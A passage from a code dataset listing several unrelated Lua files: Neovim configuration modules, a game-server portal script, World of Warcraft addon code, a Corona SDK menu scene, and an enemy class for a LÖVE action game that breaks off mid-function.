content stringlengths 5 1.05M |
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return {
setup = function()
require('user.mappings.custom.alternate').setup()
require('user.mappings.custom.autocorrect').setup()
require('user.mappings.custom.buffers').setup()
require('user.mappings.custom.command').setup()
require('user.mappings.custom.escape').setup()
require('user.mappings.custom.highlight').setup()
require('user.mappings.custom.jumplist').setup()
require('user.mappings.custom.lines').setup()
require('user.mappings.custom.macro').setup()
require('user.mappings.custom.modifiers').setup()
require('user.mappings.custom.resize').setup()
require('user.mappings.custom.shame').setup()
require('user.mappings.custom.tabs').setup()
require('user.mappings.custom.visual').setup()
end
}
|
local portals = {
--Carlin
[9069] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10017}, --ice
[9070] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10017}, --earth
[9071] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10017}, --fire
[9072] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10017}, --electric
--Thais
[9073] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10018}, --ice
[9074] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10018}, --earth
[9075] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10018}, --fire
[9076] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10018}, --electric
--Venore
[9077] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10019}, --ice
[9078] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10019}, --earth
[9079] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10019}, --fire
[9080] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10019}, --electric
--Ab'Dendriel
[9081] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10020}, --ice
[9082] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10020}, --earth
[9083] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10020}, --fire
[9084] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10020}, --electric
--Kazodron
[9085] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10021 }, --ice
[9086] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10021}, --earth
[9087] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10021}, --fire
[9088] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10021}, --electric
--Darashia
[9089] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10022}, --ice
[9090] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10022}, --earth
[9091] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10022}, --fire
[9092] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10022}, --electric
--Ankrahmun
[9093] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10023}, --ice
[9094] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10023}, --earth
[9095] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10023}, --fire
[9096] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10023}, --electric
--Edron
[9097] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10024}, --ice
[9098] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10024}, --earth
[9099] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10024}, --fire
[9100] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10024}, --electric
--Liberty Bay
[9101] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10025}, --ice
[9102] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10025}, --earth
[9103] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10025}, --fire
[9104] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10025}, --electric
--Port Hope
[9105] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10026}, --ice
[9106] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10026}, --earth
[9107] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10026}, --fire
[9108] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10026}, --electric
--Svargrond
[9109] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10027}, --ice
[9110] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10027}, --earth
[9111] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10027}, --fire
[9112] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10027}, --electric
--Yalahari
[9113] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10028}, --ice
[9114] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10028}, --earth
[9115] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10028}, --fire
[9116] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10028}, --electric
--Oramond
[9117] = {position = Position(32192, 31419, 2), vocation = 2, storage = 10029}, --ice
[9118] = {position = Position(32972, 32227, 7), vocation = 2, storage = 10029}, --earth
[9119] = {position = Position(32911, 32336, 15), vocation = 1, storage = 10029}, --fire
[9120] = {position = Position(33059, 32716, 5), vocation = 1, storage = 10029} --electric
}
function onStepIn(creature, item, position, fromPosition)
local player = creature:getPlayer()
if not player then
return true
end
local portal = portals[item.uid]
if not portal or player:getVocation():getBase():getId() ~= portal.vocation or player:getLevel() < 30 then
player:teleportTo(fromPosition, true)
player:getPosition():sendMagicEffect(CONST_ME_TELEPORT)
player:say('Only ' .. (portal.vocation == 1 and 'Sorcerers' or 'Druids') .. ' of level 30 or higher may enter this portal.', TALKTYPE_MONSTER_SAY)
return true
end
player:teleportTo(portal.position)
player:getPosition():sendMagicEffect(CONST_ME_TELEPORT)
player:setStorageValue(portal.storage, 1)
return true
end
|
--[[ BEGIN STANDARD HEADER ]] --
-- Imports
local _G = _G
local SVC_NAMESPACE = SVC_NAMESPACE
-- Isolate the environment
setfenv(1, select(2, ...))
--[[ END STANDARD HEADER ]] --
FolderLocation = _G.debugstack():match("ns\\(.-)\\")
|
local sys = require 'sys'
local nvim = require 'neovim'
local executable = require('utils.files').executable
local is_file = require('utils.files').is_file
local getcwd = require('utils.files').getcwd
local M = {
makeprg = {
luacheck = {
'--max-cyclomatic-complexity',
'20',
'--std',
'luajit',
'--formatter',
'plain',
'--codes',
'--ranges',
},
},
formatprg = {
stylua = {
'--indent-type',
'Spaces',
'--indent-width',
'$WIDTH',
'--quote-style',
'AutoPreferSingle',
'--column-width',
'120',
'--call-parentheses',
'None',
},
},
}
function M.get_formatter()
local cmd
if executable 'stylua' then
cmd = { 'stylua' }
local files = { '.stylua.toml', 'stylua.toml' }
local dirs = { getcwd() }
local buffer = nvim.buf.get_name(0)
if buffer ~= '' then
table.insert(dirs, 1, require('utils.files').basedir(buffer))
end
local found = false
for _, config in ipairs(files) do
for _, cwd in ipairs(dirs) do
local config_path = vim.fn.findfile(config, cwd .. ';')
if config_path ~= '' then
vim.list_extend(cmd, { '-f', require('utils.files').realpath(config_path) })
found = true
break
end
end
if found then
break
end
end
if not found then
vim.list_extend(cmd, M.formatprg[cmd[1]])
cmd = require('utils.buffers').replace_indent(cmd)
end
end
return cmd
end
function M.get_linter()
local cmd
if executable 'luacheck' then
cmd = { 'luacheck' }
vim.list_extend(cmd, M.makeprg[cmd[1]])
else
local exe = {
sys.home .. '/.luarocks/bin/luacheck',
sys.home .. '/cache/nvim/packer_hererocks/' .. sys.luajit .. '/bin/luacheck',
}
for i = 1, #exe do
if is_file(exe[i]) then
cmd = { exe[i] }
vim.list_extend(cmd, M.makeprg[cmd[1]])
break
end
end
end
return cmd
end
return M
|
local AddonName = select(1, ...);
local Addon = select(2, ...);
-- This will register a callback to Ark with Vendor
local function registerArkExtension()
local arkExtension =
{
-- Vendor will check this source is loaded prior to registration.
-- It will also be displayed in the Vendor UI.
Source = "ArkInventory",
Addon = AddonName,
-- This is called by Vendor whenever its rules change and Ark needs to redo its classification of items into buckets.
OnRuleUpdate = function()
assert(ArkInventory and ArkInventory.ItemCacheClear and ArkInventory.Frame_Main_Generate)
-- Clear the Ark Inventory item cache, becuase this also caches rule results, which are now invalid becuase our rules changed.
ArkInventory.ItemCacheClear()
-- After clearing the cache we need to redraw the main window.
ArkInventory.Frame_Main_Generate(nil, ArkInventory.Const.Window.Draw.Recalculate)
end
}
assert(Vendor and Vendor.RegisterExtension, "Vendor RegisterExtension not found, cannot register extension: "..tostring(arkExtension.Source))
if (not Vendor.RegisterExtension(arkExtension)) then
-- something went wrong
end
end
registerArkExtension()
-- The following is the plugin to Ark itself to add a function that runs vendor rules against an item Ark is evaluating.
-- Checks if an item is auto-sold by vendor
function Addon:Vendor_AutoSell()
assert(ArkInventory and ArkInventory.API.InternalIdToBlizzardBagId)
local object = ArkInventoryRules.Object;
if (not object or not object.loc_id or not object.bag_id or not object.slot_id) then
return;
end
-- Becuase Ark is on another planet and has its own concept of bags, must convert to blizzard bags.
local bag = ArkInventory.API.InternalIdToBlizzardBagId( object.loc_id, object.bag_id )
result, ruleid, name = Vendor.EvaluateItem(bag, object.slot_id)
if not result then
return false
else
return result > 0
end
end
-- Empty function to not break Ark
local deprecatedMessageDisplayed = false
local deprecatedMessage = "ArkInventory rule for Vendor scrap, 'venscrap()' is deprecated and no longer functional. For the future stability of Ark, please remove that rule."
function Addon:Vendor_AutoScrap()
if not deprecatedMessageDisplayed then
DEFAULT_CHAT_FRAME:AddMessage(RED_FONT_COLOR_CODE..deprecatedMessage..FONT_COLOR_CODE_CLOSE)
deprecatedMessageDisplayed = true
end
return false;
end
if (ArkInventoryRules and Vendor) then
local rules = ArkInventoryRules:NewModule(AddonName);
function rules:OnEnable()
ArkInventoryRules.Register(self, "vensell", Addon.Vendor_AutoSell);
ArkInventoryRules.Register(self, "venscrap", Addon.Vendor_AutoScrap);
end;
end
|
local composer = require( "composer" )
local scene = composer.newScene()
local runtime = require("libraries.runtime")
local db = require("libraries.db")
runtime.settings["currentscene"] = "controlChoice"
local _W = display.contentWidth
local _H = display.contentHeight
local screenGroup, mainGroup, settingsLabel, playButton
local controls1, controls2, controls3, chooseLabel
local function buttonTouched(event)
local t = event.target
local id = t.id
if event.phase == "began" then
display.getCurrentStage():setFocus( t )
t.isFocus = true
t.alpha = 0.7
elseif t.isFocus then
if event.phase == "ended" then
display.getCurrentStage():setFocus( nil )
t.isFocus = false
t.alpha = 1
local b = t.contentBounds
if event.x >= b.xMin and event.x <= b.xMax and event.y >= b.yMin and event.y <= b.yMax then
if id == "tilt" or id == "tap" or id == "drag" or id == "keyboard" or id == "mouse" then
runtime.playSound("select")
db.saveSetting("controls", id)
composer.gotoScene( "scenes.game", { effect = "crossFade", time = 400 } )
end
end
end
end
end
function scene:create( event )
screenGroup = self.view
mainGroup = display.newGroup()
screenGroup:insert(mainGroup)
-- Background
local background = display.newRect(mainGroup,_W*0.5,_H*0.5,_W,_H)
background:setFillColor(0,0,0)
settingsLabel = display.newText(mainGroup,"Controls", 0, 0, native.systemFont, 40)
settingsLabel.x = _W * 0.5;
settingsLabel.y = 60;
settingsLabel:setFillColor(1,1,1 )
chooseLabel = display.newText(mainGroup,"Please choose:", 0, 0, native.systemFont, 40)
chooseLabel.x = _W * 0.5;
chooseLabel.y = 180;
chooseLabel:setFillColor(230/255, 230/255, 230/255 )
if system.hasEventSource("accelerometer") and runtime.settings["platform"] ~= "simulator" then
controls1 = display.newImageRect(mainGroup,"images/controls_tilt.png", 380, 160)
controls1.x, controls1.y = _W * 0.5, _H * 0.35
controls1.id = "tilt"
controls1:addEventListener( "touch", buttonTouched )
controls2 = display.newImageRect(mainGroup,"images/controls_drag.png", 380, 160)
controls2.x, controls2.y = _W * 0.5, _H * 0.55
controls2.id = "drag"
controls2:addEventListener( "touch", buttonTouched )
controls3 = display.newImageRect(mainGroup,"images/controls_tap.png", 380, 160)
controls3.x, controls3.y = _W * 0.5, _H * 0.75
controls3.id = "tap"
controls3:addEventListener( "touch", buttonTouched )
else
controls1 = display.newImageRect(mainGroup,"images/controls_keyboard.png", 380, 160)
controls1.id = "keyboard"
controls1.x, controls1.y = _W * 0.5, _H * 0.40
controls1:addEventListener( "touch", buttonTouched )
controls2 = display.newImageRect(mainGroup,"images/controls_mouse.png", 380, 160)
controls2.id = "mouse"
controls2.x, controls2.y = _W * 0.5, _H * 0.70
controls2:addEventListener( "touch", buttonTouched )
end
end
function scene:show( event )
local phase = event.phase
if ( phase == "will" ) then
-- Called when the scene is still off screen (but is about to come on screen).
elseif ( phase == "did" ) then
-- Called when the scene is now on screen.
end
end
function scene:hide( event )
local phase = event.phase
if ( phase == "will" ) then
-- Called when the scene is on screen (but is about to go off screen).
-- Insert code here to "pause" the scene.
elseif ( phase == "did" ) then
-- Called immediately after scene goes off screen.
end
end
function scene:destroy( event )
-- Called prior to the removal of scene's view ("sceneGroup").
end
-- Then add the listeners for the above functions
scene:addEventListener( "create", scene )
scene:addEventListener( "show", scene )
scene:addEventListener( "hide", scene )
scene:addEventListener( "destroy", scene )
return scene
|
Seeker = Object:extend()
Seeker:implement(GameObject)
Seeker:implement(Physics)
Seeker:implement(Unit)
function Seeker:init(args)
self:init_game_object(args)
self:init_unit()
if self.boss then
self:set_as_rectangle(18, 7, 'dynamic', 'enemy')
self:set_restitution(0.5)
self.classes = {'mini_boss'}
self:calculate_stats(true)
self:set_as_steerable(self.v, 1000, 2*math.pi, 2)
if self.boss == 'speed_booster' then
self.color = green[0]:clone()
self.t:every(8, function()
if self.silenced or self.barbarian_stunned then return end
local enemies = table.head(self:get_objects_in_shape(Circle(self.x, self.y, 128), main.current.enemies), 4)
if #enemies > 0 then
buff1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = green[0], duration = 0.1}
for _, enemy in ipairs(enemies) do
LightningLine{group = main.current.effects, src = self, dst = enemy, color = green[0]}
enemy:speed_boost(3 + self.level*0.025 + current_new_game_plus*0.1)
end
end
end)
elseif self.boss == 'forcer' then
self.color = yellow[0]:clone()
self.t:every(6, function()
if self.silenced or self.barbarian_stunned then return end
local enemies = main.current.main:get_objects_by_classes(main.current.enemies)
local x, y = 0, 0
if #enemies > 0 then
for _, enemy in ipairs(enemies) do
x = x + enemy.x
y = y + enemy.y
end
x = x/#enemies
y = y/#enemies
else
x, y = player.x, player.y
end
self.px, self.py = x + random:float(-16, 16), y + random:float(-16, 16)
self.pull_sensor = Circle(self.px, self.py, 160)
self.prs = 0
self.t:tween(0.05, self, {prs = 4}, math.cubic_in_out, function() self.spring:pull(0.15) end)
self.t:after(2 - 0.05*7, function()
self.t:every_immediate(0.05, function() self.phidden = not self.phidden end, 7)
end)
self.color_transparent = Color(yellow[0].r, yellow[0].g, yellow[0].b, 0.08)
self.t:every(0.08, function() HitParticle{group = main.current.effects, x = self.px, y = self.py, color = yellow[0]} end, math.floor(2/0.08))
self.vr = 0
self.dvr = random:float(-math.pi/4, math.pi/4)
force1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
self.t:during(2, function(dt)
local enemies = self:get_objects_in_shape(self.pull_sensor, main.current.enemies)
for _, enemy in ipairs(enemies) do
enemy:apply_steering_force(math.remap(enemy:distance_to_point(self.px, self.py), 0, 160, 400, 200), enemy:angle_to_point(self.px, self.py))
end
self.vr = self.vr + self.dvr*dt
end, function()
wizard1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
local enemies = self:get_objects_in_shape(self.pull_sensor, main.current.enemies)
HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = yellow[0], duration = 0.1}
for _, enemy in ipairs(enemies) do
LightningLine{group = main.current.effects, src = self, dst = enemy, color = yellow[0]}
enemy:push(random:float(40, 80), enemy:angle_to_object(main.current.player), true)
end
self.px, self.py = nil, nil
end)
end)
elseif self.boss == 'swarmer' then
self.color = purple[0]:clone()
self.t:every(4, function()
if self.silenced or self.barbarian_stunned then return end
local enemies = table.select(main.current.main:get_objects_by_classes(main.current.enemies), function(v) return v.id ~= self.id and v:is(Seeker) end)
local enemy = random:table(enemies)
if enemy then
HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = purple[0], duration = 0.1}
LightningLine{group = main.current.effects, src = self, dst = enemy, color = purple[0]}
enemy:hit(10000)
critter1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
critter3:play{pitch = random:float(0.95, 1.05), volume = 0.6}
for i = 1, random:int(4, 6) do EnemyCritter{group = main.current.main, x = enemy.x, y = enemy.y, color = purple[0], r = random:float(0, 2*math.pi), v = 8 + 0.1*enemy.level, dmg = 2*enemy.dmg} end
end
end)
elseif self.boss == 'exploder' then
self.color = blue[0]:clone()
self.t:every(4, function()
if self.silenced or self.barbarian_stunned then return end
local enemies = table.select(main.current.main:get_objects_by_classes(main.current.enemies), function(v) return v.id ~= self.id and v:is(Seeker) end)
local enemy = random:table(enemies)
if enemy then
HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = blue[0], duration = 0.1}
LightningLine{group = main.current.effects, src = self, dst = enemy, color = blue[0]}
enemy:hit(10000)
mine1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
ExploderMine{group = main.current.main, x = enemy.x, y = enemy.y, color = blue[0], parent = enemy}
end
end)
elseif self.boss == 'randomizer' then
self.t:every_immediate(0.07, function() self.color = _G[random:table{'green', 'purple', 'yellow', 'blue'}][0]:clone() end)
self.t:every(6, function()
if self.silenced or self.barbarian_stunned then return end
local attack = random:table{'explode', 'swarm', 'force', 'speed_boost'}
if attack == 'explode' then
local enemies = self:get_objects_in_shape(Circle(self.x, self.y, 128), {Seeker})
local enemy = random:table(enemies)
if enemy then
HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = blue[0], duration = 0.1}
LightningLine{group = main.current.effects, src = self, dst = enemy, color = blue[0]}
enemy:hit(10000)
shoot1:play{pitch = random:float(0.95, 1.05), volume = 0.4}
local n = 8 + current_new_game_plus*2
for i = 1, n do EnemyProjectile{group = main.current.main, x = enemy.x, y = enemy.y, color = blue[0], r = (i-1)*math.pi/(n/2), v = 125 + 5*enemy.level, dmg = (1 + 0.15*current_new_game_plus)*enemy.dmg} end
end
elseif attack == 'swarm' then
local enemies = self:get_objects_in_shape(Circle(self.x, self.y, 128), {Seeker})
local enemy = random:table(enemies)
if enemy then
HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = purple[0], duration = 0.1}
LightningLine{group = main.current.effects, src = self, dst = enemy, color = purple[0]}
enemy:hit(10000)
critter1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
critter3:play{pitch = random:float(0.95, 1.05), volume = 0.6}
for i = 1, random:int(4, 6) do EnemyCritter{group = main.current.main, x = enemy.x, y = enemy.y, color = purple[0], r = random:float(0, 2*math.pi), v = 8 + 0.1*enemy.level, dmg = 2*enemy.dmg} end
end
elseif attack == 'force' then
local enemies = self:get_objects_in_shape(Circle(self.x, self.y, 64), {Seeker})
if #enemies > 0 then
wizard1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = yellow[0], duration = 0.1}
for _, enemy in ipairs(enemies) do
LightningLine{group = main.current.effects, src = self, dst = enemy, color = yellow[0]}
enemy:push(random:float(40, 80), enemy:angle_to_object(main.current.player), true)
end
end
elseif attack == 'speed_boost' then
local enemies = self:get_objects_in_shape(Circle(self.x, self.y, 128), {Seeker})
if #enemies > 0 then
buff1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = green[0], duration = 0.1}
for _, enemy in ipairs(enemies) do
LightningLine{group = main.current.effects, src = self, dst = enemy, color = green[0]}
enemy:speed_boost(3 + self.level*0.025 + current_new_game_plus*0.1)
end
end
end
end)
end
else
self:set_as_rectangle(14, 6, 'dynamic', 'enemy')
self:set_restitution(0.5)
self.color = red[0]:clone()
self.classes = {'seeker'}
self:calculate_stats(true)
self:set_as_steerable(self.v, 2000, 4*math.pi, 4)
end
--[[
if random:bool(35) then
local n = random:int(1, 3)
self.speed_booster = n == 1
self.exploder = n == 2
self.headbutter = n == 3
end
]]--
if self.speed_booster then
self.color = green[0]:clone()
self.area_sensor = Circle(self.x, self.y, 128)
self.t:after({16, 24}, function() self:hit(10000) end)
elseif self.exploder then
self.color = blue[0]:clone()
self.t:after({16, 24}, function() self:hit(10000) end)
elseif self.headbutter then
self.color = orange[0]:clone()
self.last_headbutt_time = 0
local n = math.remap(current_new_game_plus, 0, 5, 1, 0.5)
self.t:every(function() return math.distance(self.x, self.y, main.current.player.x, main.current.player.y) < 76 and love.timer.getTime() - self.last_headbutt_time > 10*n end, function()
if self.silenced or self.barbarian_stunned then return end
if self.headbutt_charging or self.headbutting then return end
self.headbutt_charging = true
self.t:tween(2, self.color, {r = fg[0].r, b = fg[0].b, g = fg[0].g}, math.cubic_in_out, function()
self.t:tween(0.25, self.color, {r = orange[0].r, b = orange[0].b, g = orange[0].g}, math.linear)
self.headbutt_charging = false
headbutt1:play{pitch = random:float(0.95, 1.05), volume = 0.2}
self.headbutting = true
self.last_headbutt_time = love.timer.getTime()
self:set_damping(0)
self:apply_steering_impulse(300, self:angle_to_object(main.current.player), 0.75)
self.t:after(0.75, function()
self.headbutting = false
end)
end)
end)
elseif self.tank then
self.color = yellow[0]:clone()
self.buff_hp_m = 1.25 + (0.1*self.level) + (0.4*current_new_game_plus)
self:calculate_stats()
self.hp = self.max_hp
local n = math.remap(current_new_game_plus, 0, 5, 1, 0.75)
self.t:every({3*n, 5*n}, function()
local enemy = self:get_closest_object_in_shape(Circle(self.x, self.y, 64), main.current.enemies)
if enemy then
wizard1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = yellow[0], duration = 0.1}
LightningLine{group = main.current.effects, src = self, dst = enemy, color = yellow[0]}
enemy:push(random:float(30, 50), enemy:angle_to_object(main.current.player), true)
end
end)
elseif self.shooter then
self.color = fg[0]:clone()
local n = math.remap(current_new_game_plus, 0, 5, 1, 0.5)
self.t:after({2*n, 4*n}, function()
self.shooting = true
self.t:every({4, 6}, function()
if self.silenced or self.barbarian_stunned then return end
for i = 1, 3 do
self.t:after((1 - self.level*0.01)*0.15*(i-1), function()
shoot1:play{pitch = random:float(0.95, 1.05), volume = 0.1}
self.hfx:use('hit', 0.25, 200, 10, 0.1)
local r = self.r
HitCircle{group = main.current.effects, x = self.x + 0.8*self.shape.w*math.cos(r), y = self.y + 0.8*self.shape.w*math.sin(r), rs = 6}
EnemyProjectile{group = main.current.main, x = self.x + 1.6*self.shape.w*math.cos(r), y = self.y + 1.6*self.shape.w*math.sin(r), color = fg[0], r = r, v = 140 + 3.5*self.level + 2*current_new_game_plus,
dmg = (current_new_game_plus*0.05 + 1)*self.dmg, source = 'shooter'}
end)
end
end, nil, nil, 'shooter')
end)
elseif self.spawner then
self.color = purple[0]:clone()
end
local player = main.current.player
if player and player.intimidation and not self.boss and not self.tank then
self.buff_hp_m = 0.8
self:calculate_stats()
self.hp = self.max_hp
end
if player and player.vulnerability then
self.vulnerable = true
end
if player and player.temporal_chains then
self.temporal_chains_mvspd_m = 0.8
end
self.usurer_count = 0
self.curses = {}
end
function Seeker:update(dt)
self:update_game_object(dt)
if main.current.mage_level == 2 then self.buff_def_a = -30
elseif main.current.mage_level == 1 then self.buff_def_a = -15
else self.buff_def_a = 0 end
if self.headbutt_charging or self.headbutting then self.buff_def_m = 3 end
if self.speed_boosting then
local n = math.remap(love.timer.getTime() - self.speed_boosting, 0, (3 + 0.025*self.level + current_new_game_plus*0.1), 1, 0.5)
self.speed_boosting_mvspd_m = (3 + 0.025*self.level + 0.1*current_new_game_plus)*n
if not self.speed_booster and not self.exploder and not self.headbutter and not self.tank and not self.shooter and not self.spawner then
self.color.r = math.remap(n, 1, 0.5, green[0].r, red[0].r)
self.color.g = math.remap(n, 1, 0.5, green[0].g, red[0].g)
self.color.b = math.remap(n, 1, 0.5, green[0].b, red[0].b)
end
else self.speed_boosting_mvspd_m = 1 end
if self.slowed then self.slow_mvspd_m = self.slowed
else self.slow_mvspd_m = 1 end
self.buff_mvspd_m = (self.speed_boosting_mvspd_m or 1)*(self.slow_mvspd_m or 1)*(self.temporal_chains_mvspd_m or 1)*(self.tank and 0.35 or 1)*(self.deceleration_mvspd_m or 1)
self.buff_def_m = (self.seeping_def_m or 1)
self:calculate_stats()
self.stun_dmg_m = (self.barbarian_stunned and 2 or 1)
if self.shooter then
self.t:set_every_multiplier('shooter', (1 - self.level*0.02))
end
if self.being_pushed then
local v = math.length(self:get_velocity())
if v < 25 then
if self.push_invulnerable then self.push_invulnerable = false end
self.being_pushed = false
self.steering_enabled = true
self.juggernaut_push = false
self.launcher_push = false
self:set_damping(0)
self:set_angular_damping(0)
end
else
local target = main.current.player
if self.taunted then target = self.taunted end
if self.taunted and self.taunted.dead then target = main.current.player; self.taunted = nil end
if self.headbutt_charging or self.shooting then
self:set_damping(10)
self:rotate_towards_object(target, 0.5)
elseif not self.headbutting then
if self.boss then
local enemies = main.current.main:get_objects_by_classes(main.current.enemies)
local x, y = 0, 0
if #enemies > 1 then
for _, enemy in ipairs(enemies) do
x = x + enemy.x
y = y + enemy.y
end
x = x/#enemies
y = y/#enemies
else
x, y = target.x, target.y
end
self:seek_point(x, y)
self:wander(10, 250, 3)
else
self:seek_point(target.x, target.y)
self:wander(50, 100, 20)
end
self:steering_separate(16, main.current.enemies)
self:rotate_towards_velocity(0.5)
end
end
self.r = self:get_angle()
if self.area_sensor then self.area_sensor:move_to(self.x, self.y) end
end
function Seeker:draw()
graphics.push(self.x, self.y, self.r, self.hfx.hit.x, self.hfx.hit.x)
if self.boss then
graphics.rectangle(self.x, self.y, self.shape.w, self.shape.h, 4, 4, self.hfx.hit.f and fg[0] or self.color)
else
graphics.rectangle(self.x, self.y, self.shape.w, self.shape.h, 3, 3, self.hfx.hit.f and fg[0] or self.color)
end
graphics.pop()
if self.px and self.py then
if self.phidden then return end
graphics.push(self.px, self.py, self.vr, self.spring.x, self.spring.x)
graphics.circle(self.px, self.py, self.prs + random:float(-1, 1), yellow[0])
graphics.circle(self.px, self.py, self.pull_sensor.rs, self.color_transparent)
local lw = math.remap(self.pull_sensor.rs, 32, 256, 2, 4)
for i = 1, 4 do graphics.arc('open', self.px, self.py, self.pull_sensor.rs, (i-1)*math.pi/2 + math.pi/4 - math.pi/8, (i-1)*math.pi/2 + math.pi/4 + math.pi/8, yellow[0], lw) end
graphics.pop()
end
end
function Seeker:on_collision_enter(other, contact)
local x, y = contact:getPositions()
if other:is(Wall) then
self.hfx:use('hit', 0.15, 200, 10, 0.1)
self:bounce(contact:getNormal())
if self.juggernaut_push then
self:hit(self.juggernaut_push)
hit2:play{pitch = random:float(0.95, 1.05), volume = 0.35}
end
if self.launcher_push then
self:hit(self.launcher_push)
hit2:play{pitch = random:float(0.95, 1.05), volume = 0.35}
end
if main.current.player.heavy_impact then
if self.being_pushed then
self:hit(self.push_force)
end
end
if main.current.player.tremor then
if self.being_pushed then
camera:shake(2, 0.5)
earth1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
Area{group = main.current.effects, x = self.x, y = self.y, r = self.r, w = 0.75*self.push_force*(main.current.player.area_size_m or 1), color = yellow[0], dmg = self.push_force/2, parent = main.current.player}
end
end
if main.current.player.fracture then
if self.being_pushed then
trigger:after(0.01, function()
earth2:play{pitch = random:float(0.95, 1.05), volume = 0.5}
for i = 1, 6 do
Projectile{group = main.current.main, x = self.x, y = self.y, color = red[0], r = (i-1)*math.pi/3, v = 200, dmg = 30, parent = main.current.player, pierce = 1}
end
end)
end
end
if self.headbutter and self.headbutting then
self.headbutting = false
end
elseif table.any(main.current.enemies, function(v) return other:is(v) end) then
if self.being_pushed and math.length(self:get_velocity()) > 60 then
other:hit(math.floor(self.push_force/4))
self:hit(math.floor(self.push_force/2))
other:push(math.floor(self.push_force/2), other:angle_to_object(self))
HitCircle{group = main.current.effects, x = x, y = y, rs = 6, color = fg[0], duration = 0.1}
for i = 1, 2 do HitParticle{group = main.current.effects, x = x, y = y, color = self.color} end
hit2:play{pitch = random:float(0.95, 1.05), volume = 0.35}
elseif self.headbutting then
other:push(math.length(self:get_velocity())/4, other:angle_to_object(self))
HitCircle{group = main.current.effects, x = x, y = y, rs = 6, color = fg[0], duration = 0.1}
for i = 1, 2 do HitParticle{group = main.current.effects, x = x, y = y, color = self.color} end
hit2:play{pitch = random:float(0.95, 1.05), volume = 0.35}
if other:is(Seeker) or other:is(Player) then self.headbutting = false end
end
elseif other:is(Turret) then
self.headbutting = false
_G[random:table{'player_hit1', 'player_hit2'}]:play{pitch = random:float(0.95, 1.05), volume = 0.35}
self:hit(0)
self:push(random:float(2.5, 7), other:angle_to_object(self))
end
end
function Seeker:hit(damage, projectile, dot)
local pyrod = self.pyrod
self.pyrod = false
if self.dead then return end
self.hfx:use('hit', 0.25, 200, 10)
if self.push_invulnerable then return end
self:show_hp()
local actual_damage = math.max(self:calculate_damage(damage)*(self.stun_dmg_m or 1), 0)
if self.vulnerable then actual_damage = actual_damage*1.2 end
self.hp = self.hp - actual_damage
if self.hp > self.max_hp then self.hp = self.max_hp end
main.current.damage_dealt = main.current.damage_dealt + actual_damage
if dot then
self.seeping_def_m = (main.current.player.seeping == 1 and 0.85) or (main.current.player.seeping == 2 and 0.75) or (main.current.player.seeping == 3 and 0.65) or 1
self.t:after(1, function()
self.seeping_def_m = 1
end, 'seeping')
self.deceleration_mvspd_m = (main.current.player.deceleration == 1 and 0.85) or (main.current.player.deceleration == 2 and 0.75) or (main.current.player.deceleration == 3 and 0.65) or 1
self.t:after(1, function()
self.deceleration_mvspd_m = 1
end, 'deceleration')
end
if projectile and projectile.spawn_critters_on_hit then
critter1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
trigger:after(0.01, function()
for i = 1, projectile.spawn_critters_on_hit do
